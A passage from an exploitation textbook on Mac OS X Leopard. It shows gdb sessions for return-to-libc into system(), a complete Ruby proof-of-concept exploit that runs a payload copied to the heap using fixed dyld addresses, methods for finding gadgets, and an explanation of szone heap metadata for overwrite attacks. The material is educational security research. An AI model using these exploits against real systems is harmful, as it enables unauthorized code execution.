/Volumes/Data/Users/ddz/Projects/MacHackers/Chapters/07 Exploiting Stack

Overflows/Research/smashmystack.x86 `ruby -e ‘puts “A” * 1036 + 

[0xcafebabe,0xfeedface,0xdeadbeef].pack(“VVV”) + “id”’`

Reading symbols for shared libraries ++. done

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0xcafebabe

0xcafebabe in ?? ()

At this point, the overwritten return address has been popped off of the stack 
and the program has stopped with an exception trying to execute instructions 
at address 0xcafebabe, which does not exist. If you replace this address with 
the address of system() and execute it instead, it will look for its fi rst argument 
at ESP+8, which points to the position in the attack string of the command to 
be executed (“id”).

(gdb) x/s $esp+8 

0xbfffedf8:      “id”

Now you can place the address of system() replacing 0xcafebabe and the 
address of the command string in the attack string replacing 0xdeadbeef to 
execute system(“id”).

(gdb) run `ruby -e ‘puts “A” * 1036 + 

[0x92717014,0xfeedface,0xbfffedf8].pack(“VVV”) + “id”’`

Starting program: 

/Volumes/Data/Users/ddz/Projects/MacHackers/Chapters/07 Exploiting Stack 

Overflows/Research/smashmystack.x86 `ruby -e ‘puts “A” * 1036 + 

[0x92717014,0xfeedface,0xbfffedf8].pack(“VVV”) + “id”’`

uid=502(ddz) gid=20(staff) 

groups=20(staff),98(_lpadmin),102(com.apple.sharepoint.group.2),101(com.

apple.sharepoint.group.1)

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0xfeedface

0xfeedface in ?? ()

(gdb)

You can see that we successfully returned to system(), which executed our com-
mand and then proceeded to take another address from our attack string to return 
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to (0xfeedface). As long as you return to subroutines that take a single parameter, 
you can chain together as many subroutine calls as you want using this technique. 
You only need to obtain the memory addresses of the functions that you want to 
call and pack them and their parameters into your attack string.

There is one serious limitation to returning straight to system(), especially in 
a local exploit in Leopard. In Leopard (but not in Tiger), /bin/sh will drop effec-
tive user ID privileges if they do not match the real user ID and if the effective 
user ID is less than 100. This is typically the case when exploiting a set-user ID 
root executable, so if you return to system, you will gain no privileges, as they 
will be dropped by /bin/sh before system() will even execute your command. 
One way around this is to call setuid(0) before calling system(); however, there 
is a problem with this. Placing a zero value in a buffer-overfl ow attack string is 
problematic, as it is also the ASCII string terminator. Rather than attempt to work 
around this, we will demonstrate a more general solution in the next section.

Executing the Payload from the Heap
One limitation of the preceding technique is that if you want to call any subrou-
tines that take pointer arguments, you need to be able to calculate or guess the 
address of the attack string in memory. A fl exible technique that overcomes the 
non-executable stack and Library Randomization, allowing you to execute an 
arbitrary existing payload without having to guess volatile memory addresses, 
would be ideal. On Mac OS X x86 10.4 and 10.5, Apple has made only the stack 
segments truly non-executable, not the other writable memory regions such as 
the data and heap segments. Copying the payload to the heap and transferring 
control to it there would allow you to use an arbitrary existing payload without 
modifi cation. In this section we will describe Dino Dai Zovi’s technique for 
overcoming Leopard’s Library Randomization and non-executable stack in an 
arbitrary stack-buffer-overfl ow exploit.

To do this, the technique takes advantage of several limitations of Leopard’s 
Library Randomization. Although Leopard randomizes the load address of most 
shared libraries and frameworks on the system, it notably does not randomize 
the base address of the dynamic linker itself, dyld. The dyld executable image is 
always loaded at the same base address, 0x8fe00000. In addition, since dyld cannot 
depend on any other libraries, it includes the code for any library functions that 
it needs within its own text segment. These two properties make it very useful 
for return-to-libc-style exploits because they can make use of the standard library 
functions at fi xed known locations in dyld’s text segment. With some creativity, 
an attacker can take advantage of this to create a return-into-libc attack string that 
copies the exploit payload into the heap and executes it directly from there.

One of the most interesting library functions available in dyld’s text segment 
is setjmp(). The setjmp() and longjmp() functions are used to implement non-
local transfers of control by saving and restoring the execution environment, 
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respectively. In practice, the execution environment is the signal context and 
values of the nonvolatile registers. Here are the declarations of the functions on 
Mac OS X from /usr/include/setjmp.h and _setjmp.s in the Libc source code.

#include <setjmp.h>

typedef int jmp_buf[_JBLEN];

int setjmp(jmp_buf env);

void longjmp(jmp_buf env, int val);

#define JB_FPCW         0

#define JB_MASK         4

#define JB_MXCSR        8

#define JB_EBX          12

#define JB_ONSTACK      16

#define JB_EDX          20

#define JB_EDI          24

#define JB_ESI          28

#define JB_EBP          32

#define JB_ESP          36

#define JB_SS           40

#define JB_EFLAGS       44

#define JB_EIP          48

#define JB_CS           52

#define JB_DS           56

#define JB_ES           60

#define JB_FS           64

#define JB_GS           68

As you can see, the jmp_buf argument to setjmp is just an array of machine 
words. The technique is based on returning to the setjmp() function and then 
returning within the jmp_buf to execute the values of controlled registers as 
machine-code instructions. Since we know which registers’ contents are over-
written with values from our attack string, we can return to known offsets from 
the jmp_buf pointer to execute those values as CPU instructions.

We will explain the execute-payload-from-heap stub by following its control 
fl ow through each jump. We begin with the fi rst jump, when the vulnerable 
function in the target process uses its overwritten return address to return into 
the setjmp() subroutine. 

Step 1: Return to setjmp()

The stub’s fi rst jump simulates a call to setjmp() with an address of writable 
memory somewhere in the target process address space. Again, since dyld is 
loaded at a known location, we will use an address of some writable memory 
in its data segment for our jmp_buf parameter. After setjmp() executes, it will 
pop its return address from our attack string, which is set to the address in our 
jmp_buf where the value of the EBP register is stored.
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Step 2: Return to jmp_buf[JB_EBP]

Most subroutine prologs save the caller’s frame pointer onto the stack. When a 
stack buffer overfl ows, it will overwrite the frame pointer before it overwrites 
the return address. This means that the value of the EBP register can be speci-
fi ed in the attack string. When the vulnerable program returns from setjmp to 
jmp_buf[JB_EBP], it executes a four-byte fragment of chosen machine code, as 
shown here:

00000000  90                nop         ; Change to int3 to debug

00000001  59                pop eax     ; Adjust stack pointer

00000002  61                popa        ; Restore all registers

00000003  C3                ret         ; Return into next jump

This code fragment executes the popa instruction to restore all register values 
from the attack string on the stack. The popa instruction pops successive values 
from the stack into the EDI, ESI, and EBP registers, skips one for ESP, and then 
pops values into the EBX, EDX, ECX, and EAX registers. Before executing popa, 
the fragment executes a single pop instruction to adjust the stack pointer so 
that the second code fragment is loaded into the proper registers by the popa 
instruction. Finally, it executes a return instruction to execute the next jump, 
simulating a call to setjmp() again.

Step 3: Return to setjmp() Again

The second simulated call to setjmp() executes with more controlled registers 
due to the fact that the popa instruction loaded all of their values from the 
attack string. This call to setjmp() also requires an address of writable memory 
in the target address space, but there is no need for it to be different from the 
address we used in the fi rst call to setjmp(). Leopard’s setjmp implementation 
saves only the nonvolatile general-purpose registers (EBX, EDI, ESI, and EBP), 
of which EDI, ESI, and EBP are stored sequentially in the jmp_buf. The attack 
string fi lls those registers with machine code in order to execute a 12-byte frag-
ment of chosen machine code.

Just as before, after setjmp() executes, it pops its return address from the attack 
string. This time the return address is set to the address of jmp_buf[JB_EDI] to 
execute a 12-byte fragment of chosen machine code.

Step 4: Return to jmp_buf[JB_EDI]

On an architecture like x86, where the instruction encoding is extremely space 
effi cient, 12 bytes of machine code is enough space to execute a few actions. 
The second machine-code fragment loads a pointer to the payload in the attack 
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string and stores it on the stack such that it would be used as the fi rst parameter 
to the next called subroutine. The value is written directly to the stack instead 
of pushing so that it does not overwrite the next return address.  The assembly 
code for this 12-byte fragment is shown below.

00000000  90                nop                   ; Set to int3 to debug

00000001  58                pop eax               ; Adjust stack pointer

00000002  89E0              mov eax,esp           ; Load addr of payload

00000004  83C00C            add eax,byte +0xc     ;   from attack string

00000007  89442408          mov [esp+0x8],eax     ;   as subr parameter

0000000B  C3                ret                   ; Return to next jump

Step 5: Return to strdup()

The C standard library function strdup() takes a string pointer as an argument, 
copies the source string to a newly allocated heap buffer, and returns the newly 
allocated copy. In Leopard, unlike the memory used for the stack segment that 
is protected by hardware NX, the memory used for the heap segment is execut-
able. The stub uses strdup() to copy an arbitrary payload from the attack string 
on the stack into heap memory where it may be freely executed.

Step 6: Return to EAX

After strdup() fi nishes executing, it pops its return address from the attack 
string. On the x86 architecture, the return value of a function is passed in the 
EAX register. Since the ultimate goal is to execute the payload now stored in the 
heap buffer that EAX points to, the stub needs to fi nd a way to transfer control 
to the memory that EAX points to. To do this, the stub returns to a register-
indirect jump or call instruction at a known location in memory. Again, since 
dyld is always loaded at a known address, we can use one of these instructions 
from within it. Later in this chapter, in the section “Finding Useful Instruction 
Sequences,” we discuss how to fi nd these instruction sequences and how to 
choose a reliable one. By using the address of a register-indirect jump to EAX 
for the return address from strdup(), the stub fi nally transfers control into the 
actual exploit payload.

Step 7: Execute Payload

At this point the target process will begin executing the exploit payload from the 
heap. The stack pointer will point to the original attack string on the stack, which 
can be safely overwritten by the payload since it is executing from the heap seg-
ment and does not need to be careful not to overwrite itself in memory.
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The Complete exec-payload-from-heap Stub

Finally, we will demonstrate the exec-payload-from-heap stub in a simple 
exploit.  The exploit prints the attack string to its standard output, so it can be 
used against smashmystack.x86 with the following command.

% ./smashmystack.x86 `./exec-payload-from-heap.rb`

The exploit is a short Ruby script as shown below.

#!/usr/bin/env ruby                                                             

#                                                                               

# Simple proof-of-concept exploit for smashmystack.x86 

# using the exec-payload-from-heap technique.                                             

#

#                                                                               

# Adjust these depending on dyld version                                        

#                                                                               

SETJMP   = 0x8fe1cea0

JMP_BUF  = 0x8fe31f10

STRDUP   = 0x8fe1ce17

JMP_EAX  = 0xffff13ee

def make_exec_payload_from_heap_stub()

  frag0 =

    “\x90” + # nop                                                              

    “\x58” + # pop eax                                                          

    “\x61” + # popa                                                             

    “\xc3”   # ret                                                              

  frag1 =

    “\x90” +             # nop                                                  

    “\x58” +             # pop eax                                              

    “\x89\xe0” +         # mov eax, esp                                         

    “\x83\xc0\x0c” +     # add eax, byte +0xc                                   

    “\x89\x44\x24\x08” + # mov [esp+0x8], eax                                   

    “\xc3”               # ret                                                  

  exec_payload_from_heap_stub =

    frag0 +

    [SETJMP, JMP_BUF + 32, JMP_BUF].pack(“V3”) +

    frag1 +

    “X” * 20 +

    [SETJMP, JMP_BUF + 24, JMP_BUF, STRDUP,

     JMP_EAX].pack(“V5”) +

    “X” * 4

end
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#                                                                               

# The actual payload to execute                                                 

#                                                                               

payload = “\xCC” * 4

# Create the stub

stub = make_exec_payload_from_heap_stub()

# The final attack string with stub and payload

puts “A” * 1032 + stub + payload

Finding Useful Instruction Sequences

Several of the exploitation techniques described in this chapter required the use 
of short instruction sequences to transfer execution control to a memory address 
contained in a register. This is done to prevent hard-coding volatile stack or heap 
memory addresses in an exploit. At the time that the overwritten return address 
is used, one or more of the registers may point within the attack string. On 
PowerPC, where the stack segment is executable, the exploit can simply return 
to the address of a register-indirect, transfer-of-control instruction somewhere 
in memory to transfer execution control right back to the attack string. On x86, 
where the stack is non-executable, a register-indirect jump instruction is used 
in our exec-payload-from-heap stub to transfer execution control to the buffer 
returned by strdup().

PowerPC
Now look back at the PowerPC stack exploit from earlier in this chapter. You 
used ReportCrash to identify the value of the stack pointer at the time that the 
overwritten return address was used, and you used that address to calculate 
exactly where your payload would be found on the stack. While that works 
well on a single system, variations across systems or invocations may cause that 
stack address to change. Your exploit would be more robust if you could fi nd a 
way to transfer control indirectly to your attack string. If you look back at the 
ReportCrash thread state dump, you can see that r26 points to 160 bytes past the 
stack pointer, which is within memory that you can overwrite with your attack 
string. A sequence of instructions that effectively transfers control to the address 
in r26 would allow you to not depend on any hard-coded memory addresses in 
your exploit, which is often necessary for remote exploits. You basically need to 
fi nd a sequence of instructions that matches one of the following patterns:

mtspr          ctr, r26

…

bctr
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or

mtspr          lr, r26

…

blr

The fi rst sequence moves a register value into the control register and branches 
to it; the second moves a register value into the link register and branches to it. In 
the control-register case, a branch with link instruction (bctrl) would also work.

Since dyld is always loaded at the same address in memory, you should begin 
your search for useful instruction sequences there. You can use a decidedly 
low-tech technique to search for instruction sequences: a disassembler and 
grep. A fancier technique is not necessary. The following command will search 
for any sequences of fi ve instructions that begin with r26 being moved into the 
control or link register.

/usr/bin/otool -tv /usr/lib/dyld | grep -E -A 5 ‘mt(spr|lr).*r26’

All you need to do is look through the output to fi nd a sequence that executes 
a bctr or blr with the value from r26. In this instance, the fi rst match suffi ces.

8fe1e7b4     mtspr     ctr,r26

8fe1e7b8     or        r3,r29,r29

8fe1e7bc     or        r12,r26,r26

8fe1e7c0     bctrl

You can use this value in your attack string instead of using the hard-coded 
stack memory address for the lr register by changing the value for lr to the 
following:

lr = [0x8fe1e7b4].pack(‘N’)     # r26->pc in dyld-96.2, 10.5.2

This makes the values in your attack string dependent only on the version 
of dyld, which usually is changed in each Mac OS X software update, but not 
always. More importantly, by making your attack string dependent only on the 
target’s operating-system release, your exploit will be reliable enough for a remote 
exploit.  Since a failed exploit may often crash the target application, you may 
only get one shot, so guessing memory addresses is not usually an option.

x86
The x86 architecture is much more fl exible than the PowerPC architecture in 
many regards. Whereas the PowerPC architecture requires instructions to be 
word-aligned, the x86 architecture has no such alignment requirement. In addi-
tion, the instructions on x86 can be as short as a single byte, so it is even possible 
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to fi nd a useful sequence of two byte-length instructions in a library’s data seg-
ment or other unexpected places in the target process’s address space.

Again you should limit your search to memory regions that are loaded at 
constant locations. In addition to dyld, which has been used extensively in this 
chapter for useful memory addresses, there is another useful region of memory 
that is always loaded at the same address. Near the end of addressable memory 
there is a special segment called the commpage that contains specially optimized 
implementations of common library functions. These common memory pages 
are accessible from both the kernel and every user process. These qualities make 
it an ideal place for fi nding stable, useful instruction sequences.

In order to easily search through it, you can use gdb to dump the contents of 
the commpage to a fi le. This is necessary because the commpage is not loaded 
from a library on disk, but rather copied out of the kernel text segment itself. 
You can do this with the dump memory command while you are debugging 
any running process. The dump memory command takes a fi le name, start 
address, and end address. In the following code you use the addresses for the 
commpage on x86:

(gdb) dump memory commpage.x86 0xffff0000 0xffff4000

Now you can search for useful sequences in the fi le commpage.x86 using 
simple command-line tools. Recall that the exec-payload-from-heap stub from 
earlier required the address of an instruction to transfer control to the address 
stored in EAX. Either a jump or a call instruction indirect to EAX would work, 
as would a push EAX instruction followed by a ret instruction. The following 
listing shows the assembled machine code for these instructions.

00000000  FFD0              call eax

00000002  FFE0              jmp eax

00000004  50                push eax

00000005  C3                ret

Now you just need to search for the byte sequence FFD0, FFE0, or 50C3 in the 
commpage. You can do so using hexdump and grep, as in the following code, 
with a grep expression that matches any of the suffi cient two-byte sequences. 
Note that this may miss some sequences that “wrap around” the ends of lines 
in the hexdump, but it suffi ces for these purposes:

% hexdump commpage.x86 | grep -E ‘ff d0|ff e0|50 c3’

00002f0 00 17 ff ff ff d0 2b 05 70 00 ff ff 1b 15 74 00

0000860 1d 0e ff ff 51 56 57 b8 00 12 ff ff ff d0 83 c4

0001220 ff d0 83 c4 0c 8b 7d 08 8b 75 0c 8b 4d 10 01 de

00013e0 ae f8 85 c9 74 0d 51 56 57 b8 a0 07 ff ff ff d0

This simple search found several FFD0 (call EAX) sequences. The fi rst col-
umn of the hexdump output is the offset in the fi le. If you add that to the base 
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address of the commpage, you will get the actual memory address of the useful 
instruction sequence. For example, the third match, found at offset 0x1220 of the 
commpage.x86 fi le, would be found in memory at address 0xffff1220. We chose 
not to use this address because the last byte, 0x20, is also the ASCII byte value of 
the space character, which sometimes causes problems if it is parsed by the target 
program. The fourth match, at fi le offset 0x13ee, would be found in memory at 
0xffff13ee, and this is the exact address that we used earlier to direct execution 
into the EAX register in our exec-payload-from-heap stub described earlier.

Conclusion

This chapter explained how the stack is used in both the PowerPC and x86 
architectures, the two most common architectures for binaries in Mac OS X 
Leopard. In addition, we developed and demonstrated several techniques for 
exploiting stack-buffer overfl ows on these architectures. These techniques 
include the following:

  Returning directly into the attack string on the stack (PowerPC) ■

  Returning into a register-indirect branch to the attack string  ■

(PowerPC)

  Returning into the system() function to execute a shell command line  ■

(x86)

  Returning multiple times to execute a copied payload from the heap  ■

(x86)

The next chapter will continue focusing on exploit-injection vectors, focusing 
on obtaining control when exploiting heap-buffer overfl ows.

References

Dai Zovi, Dino. “Mac OS Xploitation,” presented at HITBSecConf2008. 

Hyde, Randall. The Art of Assembly Language, No Starch Press, 2003.

Solar Designer. “‘return-to-libc’ attack.” Bugtraq, Aug. 1997.

Spafford, Eugene, H. “The Internet Worm Program: An Analysis,” Purdue 
Technical Report CSD-TR-823, 1988.

95363c07.indd   18495363c07.indd   184 1/25/09   4:41:47 PM1/25/09   4:41:47 PM



185

Heap buffer overfl ow vulnerabilities are typically no more diffi cult to identify 
in source code than are stack buffer overfl ows, and their exploitation is proving 
to be as well understood as the exploitation of stack buffer overfl ow vulner-
abilities. In rich applications, such as network servers and web browsers, where 
the remote attacker can infl uence heap allocation, skillful heap manipulation is 
extremely important for crafting reliable exploits, and a good understanding of 
how the heap works is crucial to being able to perform useful heap manipula-
tions. In this chapter we will dissect the default Mac OS X heap implementa-
tion and describe how an attacker may manipulate it to exploit heap buffer 
overfl ows reliably.

The Heap

The heap is a memory management facility used to support dynamically allo-
cated memory. Chapter 7, “Exploiting Stack Overfl ows,” described the stack, 
which is used for automatically allocated memory, typically for local function 
variables. Memory for the function’s local variables stored in stack memory is 
automatically allocated when the function is called and automatically freed 
when the function returns. Memory allocated from the heap, by contrast, is freed 
only when the program explicitly requests it. The heap is used to implement 

C H A P T E R 

8

Exploiting Heap Overfl ows
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dynamic memory management in C, C++, and Objective-C using malloc()/
free(), new/delete, and alloc/release, respectively.

Mac OS X allows the heap allocator implementation to be chosen dynamically. 
This is useful for employing special debugging heaps to assist in fi nding heap 
memory–related software bugs. In addition, a process may use multiple heaps 
and allocate memory selectively from each of them. These separate heaps are 
called zones, and each zone may use a different heap allocator implementation. 
A process may use a separate zone, for instance, if it knows that it will free a 
large batch of memory at one time. Freeing the entire zone at once will be much 
more effi cient than freeing each allocation individually. By default, a Mac OS X 
process has a single zone, the MallocDefaultZone, and it uses the default alloca-
tor, the scalable zone allocator, which we describe in the next section.

The Scalable Zone Allocator

The default Mac OS X malloc implementation is called the scalable zone (or 
szone) allocator. This allocator’s implementation can be found in scalable_malloc.c 
in the Mac OS X Libc source-code project and, being exceptionally well com-
mented, it serves as its own best documentation. Alternatively, consult Amit 
Singh’s Mac OS X Internals: A Systems Approach (Addison-Wesley, 2006) for an 
extended discussion on the scalable zone allocator as it was implemented in 
Tiger and previous Mac OS X releases. In addition, there has been some research 
into exploiting the heap on prior Mac OS X releases, such as Nemo’s paper 
“OS X Heap Exploitation Techniques” in Phrack 63. In our brief description 
of the scalable zone allocator here, we will make explicit where the Leopard 
implementation differs from previous versions. We will briefl y cover several 
important scalable zone heap concepts, including regions, metadata headers, 
free lists, and the last-free cache.

Regions
The szone allocator treats allocations of various sizes differently, categorizing 
allocations as tiny, small, large, or huge. A tiny allocation is less than or equal to 
496 bytes; a small allocation is greater than 496 but less than 15,360 (0x3c00) 
bytes; a large allocation is greater than 15,360 but less than or equal to 16,773,120 
(0xfff000) bytes; fi nally, a huge allocation is anything larger. Tiny and small 
requests are allocated out of dedicated areas of memory called regions. Large 
and huge requests are handled by allocating pages of memory from the kernel 
with vm_allocate(). As most heap overfl ows occur in smaller-sized buffers, we 
will limit our discussion here to the region-based small and tiny allocations in 
32-bit processes.
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The szone maintains a hash of tiny and small regions. Each region is essen-
tially a separate subheap for allocations of a certain size. The region consists of 
an array of fi xed-size blocks (called quanta) of memory and some metadata to 
record which quanta are in use and which are free. A single tiny region is 1MB, 
uses an allocation quantum of 16 bytes, and is used for memory allocations 
between 1 and 496 bytes. A small region is 8MB, uses an allocation quantum of 
512 bytes, and is used for memory allocations between 497 and 15,359 bytes.

The metadata header includes a header bitfi eld where a set bit indicates that 
the specifi ed quantum is the fi rst quantum in an allocated block. In addition, 
the header uses an in-use bitfi eld where each bit refers to a specifi c quantum 
within the region. More regions are allocated as needed and kept in the szone’s 
region hash. The available memory across multiple regions is managed through 
the szone’s free lists.

The szone maintains 32 free lists each for tiny and small allocations. There 
are 31 free lists for free blocks of size 1 quantum through 31 quanta (recall that 
a region is used for allocations of size 1 through 31 quanta). The fi nal free list is 
for blocks that are larger than 31 quanta, which may occur when adjacent blocks 
are coalesced, or joined together. To satisfy an allocation of a given size, the free 
lists are searched for the fi rst free list that is not empty and contains blocks large 
enough to satisfy the request. If the block on the free list is too large, it is split 
into two blocks; one block is used to satisfy the memory-allocation request and 
the other is placed back onto an appropriate free list.

The last-free cache is a single pointer set to the most recently freed block. If 
an allocation request is made for the same size as the block in the last-free block, 
it is returned immediately. Once another block is freed, the previous last-free 
block is moved onto an appropriate free list.

To see how these management structures affect memory allocation and free-
ing, the next section will observe the behavior of the heap through some simple 
test programs.

Freeing and Allocating Memory
To demonstrate how the heap uses the free lists, last-free cache, and coalescing, 
we are going to write and run some simple test programs. Some care must be 
taken in writing these programs because standard library functions like printf() 
may make their own calls to malloc() and affect the state of the heap. For that 
reason, we will examine values in the debugger rather than through print state-
ments. We are also going to examine the state of the heap in the reverse order 
of what you’d expect. We’ll fi rst examine how freeing memory affects the heap, 
and then what happens once previously freed memory is reallocated.

First we’ll demonstrate the heap free list. Figure 8-1 shows how a free 
list normally works. The free lists are stored in an array, with each element 
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corresponding to free blocks of different sizes in terms of the region quantum. 
In the fi gure, there are three free blocks sized 1 quantum (16 bytes or less) and 
no other free blocks. The three free blocks are linked together in a doubly linked 
list. When a block is placed on the free list, the fi rst few bytes in the memory 
block are used for heap metadata. In Leopard’s szone allocator, the heap uses 
the fi rst few bytes in the memory block to store a pointer to the previous block 
in the free list, a pointer to the next block in the free list, and the size of the 
current block in number of quanta as an unsigned short value. To detect heap 
memory corruption, the linked list pointers are checksummed by shifting their 
values right by 2 bits and performing a bitwise OR operation with 0xC0000003. 
Since all heap blocks are aligned by at least 16 bytes (the size of the tiny-region 
quantum), these unused bits are used to try to detect accidental overwrites. 
They do not, however, detect intentional overwrites as we will demonstrate later 
in this chapter. The checksum operation is pretty important, so we’ll provide 
some examples to make sure it is clear:

checksum(NULL) = (0 >> 2) | 0xc0000003 = 0xc0000003

checksum(0xdeadbeef) = 0x7ab6fbbc | 0xc0000003 = 0xfab6fbbf

unchecksum(0xfeedface) = (0xfeedface << 2) & 0x3ffffffc = 0x3bb7eb38

0x00: previous pointer
0x04: next pointer
0x08: block size

Free Block

0x00: previous pointer
0x04: next pointer
0x08: block size

Free Block

0x00: previous pointer
0x04: next pointer
0x08: block size

Free Block

NULL

NULL

> 32 * TINY_QUANTUM

32 * TINY_QUANTUM

1 * TINY_QUANTUM

2 * TINY_QUANTUM

...

NULL

NULL

NULL

Tiny Region Free List Array 

 Figure 8-1:  The tiny region’s free lists

In Tiger, heap blocks on the free list look mostly the same. The notable differ-
ence is in the checksumming algorithm used to detect heap corruption. Whereas 
Leopard’s szone encoded the pointers with the checksum, Tiger’s szone uses 
the fi rst word in the free block to store a checksum computed by XORing the 
free block’s previous pointer, the next pointer, and the magic constant 0x357B. 
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This does not require decoding the pointers, but is easily checked by the 
following:

block->cksum == (block->prev ^ block->next ^ 0x357b)

We will examine the tiny region fi rst. Consider the test program in the fol-
lowing code. It simply allocates three identically sized buffers, but frees them 
in a different order. We use identical sizes so that all the buffers are put onto 
the same free list.

#include <stdio.h>

#include <stdlib.h>

#define ALLOC_SIZE 496

int main(int argc, char* argv[])

{

    unsigned long *ptr1, *ptr2, *ptr3;

    ptr1 = (unsigned long*)calloc(ALLOC_SIZE,1);

    ptr2 = (unsigned long*)calloc(ALLOC_SIZE,1);

    ptr3 = (unsigned long*)calloc(ALLOC_SIZE,1);

    _asm(“int3”);

    free(ptr1);    // Place ptr on free list

    _asm(“int3”);

    free(ptr3);    // Place ptr3 on free list

    _asm(“int3”);

    free(ptr2);    // Coalesce all three ptrs

    _asm(“int3”);

    return 0;

}

When this program is run in a debugger, it will automatically break between 
invocations of free() due to the use of the int3 assembly instructions. In the 
following example, we run it in a debugger and observe the values of the heap 
metadata after each free().

% gdb tiny1

GNU gdb 6.3.50-20050815 (Apple version gdb-952) (Sat Mar 29 03:33:05 UTC 

2008)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you 

are

welcome to change it and/or distribute copies of it under certain 

conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for 
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details.

This GDB was configured as “i386-apple-darwin”…Reading symbols for 

shared libraries … done

(gdb) run

Starting program: /Volumes/Data/Users/ddz/Projects/LeopardHunting/

Chapters/08 Exploiting Heap Overflows/Code/tiny1 

Reading symbols for shared libraries ++. done

Program received signal SIGTRAP, Trace/breakpoint trap.

main (argc=1, argv=0xbffff6c0) at tiny1.c:15

15         free(ptr1);    // Place ptr on free list

(gdb) x/3x ptr1

0x100120:     0x00000000     0x00000000     0x00000000

At this point it has allocated ptr1 with calloc(), which clears memory, so the 
fi rst bytes of the heap block are all NULL. Now we continue execution to call 
the fi rst free().

(gdb) cont

Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.

main (argc=1, argv=0xbffff6c0) at tiny1.c:17

17         free(ptr3);    // Place ptr3 on free list

(gdb) x/3x ptr1

0x100120:     0xc0000003     0xc0000003     0x0000001f

As you can see, the fi rst bytes of ptr1 have been overwritten and used for 
heap metadata. The fi rst two longs (the previous and next pointers, respectively) 
have been overwritten with the checksummed value of NULL. This means ptr1 
is the only entry in the free list. The size fi eld is kept in the third word and has 
the value of 0x1f, which shows that the heap block is 31 × 16 (the tiny-region 
quantum size) or 496 bytes long. Notice that memory allocation requests are 
always rounded up to the nearest multiple of the region quantum size. Now 
observe what happens when ptr3 is freed:

(gdb) cont

Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.

main (argc=1, argv=0xbffff6c0) at tiny1.c:19

19         free(ptr2);    // Coalesce all three ptrs

(gdb) x/3x ptr1

0x100120:     0xc0040143     0xc0000003     0x0000001f

(gdb) x/3x ptr3

0x100500:     0xc0000003     0xc004004b     0x0000001f
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You can now see that both ptr1 and ptr3 are on the free list. The previous 
pointer for ptr3 is NULL (checksummed). It is easy to tell that the next pointer 
is not NULL, but you’ll have to decode it to determine where it points:

unchecksum(0xc004004b) = (0xc004004b << 2) & 0x3ffffffc = 
     0x10012c

The next pointer within ptr3 points to ptr1, so it is now the head of the list. 
The next pointer for ptr1 is NULL, so it is at the tail of the list. Both blocks are 
also the same size. Now, when the program frees ptr2, which was allocated in 
between both ptr1 and ptr3 in the tiny region, something very interesting will 
happen.

gdb) cont

Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.

main (argc=1, argv=0xbffff6c0) at tiny1.c:22

22         return 0;

(gdb) x/3x ptr2

0x100310:     0x00000000     0x00000000     0x00000000

(gdb) x/3x ptr1

0x100120:     0xc0000003     0xc0000003     0x0000005d

Notice that ptr2 was not placed on the free list. If you look at ptr1, you can see 
that its previous and next pointers are NULL once again. Also, its size fi eld now 
indicates that the block is 1,488 bytes long. As ptr2 was freed, szone identifi ed 
that the block lay in between two already-free blocks and all three blocks were 
coalesced into one large free block. The size of the free block has changed, so 
this free block is now on a different free list from the free list that was used 
when the blocks were a smaller size.

The operation of the tiny region is pretty straightforward and easy to under-
stand. Unfortunately, as the memory blocks get bigger, the heap gets more 
complicated. Next we’ll examine how the small region is slightly different. If 
we change the allocation size from 496 to 1,496 bytes, the allocations will be 
made in the small region instead of the tiny region. 

(gdb) run

Starting program: /Volumes/Data/Users/ddz/Projects/LeopardHunting/

Chapters/08 Exploiting Heap Overflows/Code/small1 

Reading symbols for shared libraries ++. done

Program received signal SIGTRAP, Trace/breakpoint trap.

main (argc=1, argv=0xbffff6b8) at small1.c:16

16         free(ptr1);

(gdb) cont

Continuing.
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Program received signal SIGTRAP, Trace/breakpoint trap.

main (argc=1, argv=0xbffff6b8) at small1.c:18

18         free(ptr3);

(gdb) x/3x ptr1

0x800000:     0x00000000     0x00000000     0x00000000

This time, ptr1 was not immediately placed on the free list after it was freed, 
as it was when we were allocating memory in the tiny region. Observe what 
happens after the second free.

(gdb) cont

Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.

main (argc=1, argv=0xbffff6b8) at small1.c:20

20         free(ptr2);

(gdb) x/3x ptr1

0x800000:     0xc0000003     0xc0000003     0x00000000

(gdb) x/3x ptr3

0x800c00:     0x00000000     0x00000000     0x00000000

At this point, ptr1 has actually been placed on the free list and the most 
recently freed pointer, ptr3, has similarly not been placed on the free list. This 
is because the small region uses the last-free cache, whereas the tiny region 
does not. The last-free cache stores the most recently freed block and does not 
put that block on the free list unless it is expired from the cache. In this case, 
ptr1 was just replaced in the cache by ptr3 and so ptr1 ended up on the free list. 
Also, notice that the small region no longer stores the block size after the free 
list pointers. The size of a free block in quanta is stored as a short in the last 
two bytes of the free block. 

The astute reader may notice that storing heap metadata in the heap buffers 
puts them in harm’s way if data written to a nearby heap block overfl ows. In 
the next section we will demonstrate how to exploit heap overfl ows by carefully 
overwriting the heap metadata stored in heap blocks on the free list.

Overwriting Heap Metadata

As we hinted at, being able to overwrite heap metadata through the exploitation 
of a heap buffer overfl ow vulnerability can be a serious problem. Heap metadata 
exploits are well understood on other platforms, such as Windows and Linux, 
and have been made virtually extinct by those platforms incorporating heap 
exploit defenses into their heaps. Leopard’s heap implementation, however, has 
no such exploit defenses.
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In the following sections we demonstrate two techniques for exploiting over-
written heap metadata. We will do this by crafting small test programs that 
perform some heap operations, overwrite some values in the heap buffers, and 
perform more heap operations. These represent the heap operations that a vul-
nerable program may perform prior to and after a heap-buffer overfl ow occurs. 
Later in this chapter and in Chapter 9, “Exploit Payloads,” we will show how to 
put these techniques to use in real-world exploits.

The fi rst technique uses the free list unlink operation to write a chosen value 
to a chosen memory location. This has been a common heap exploitation tech-
nique on other platforms, such as Linux, Windows, and the iPhone. The second 
technique uses the free list unlink operation to place a chosen pointer on the 
head of a free list so that a subsequent allocation request will return a pointer 
to a chosen location outside the heap.

Arbitrary 4-Byte Overwrite
Consider the following code, which is a snippet from tiny_free_list_remove_
ptr() in scalable_heap.c.

// Note: ptr->next and ptr->previous are overwritten after a heap 

overflow

next = free_list_unchecksum_ptr(ptr->next);

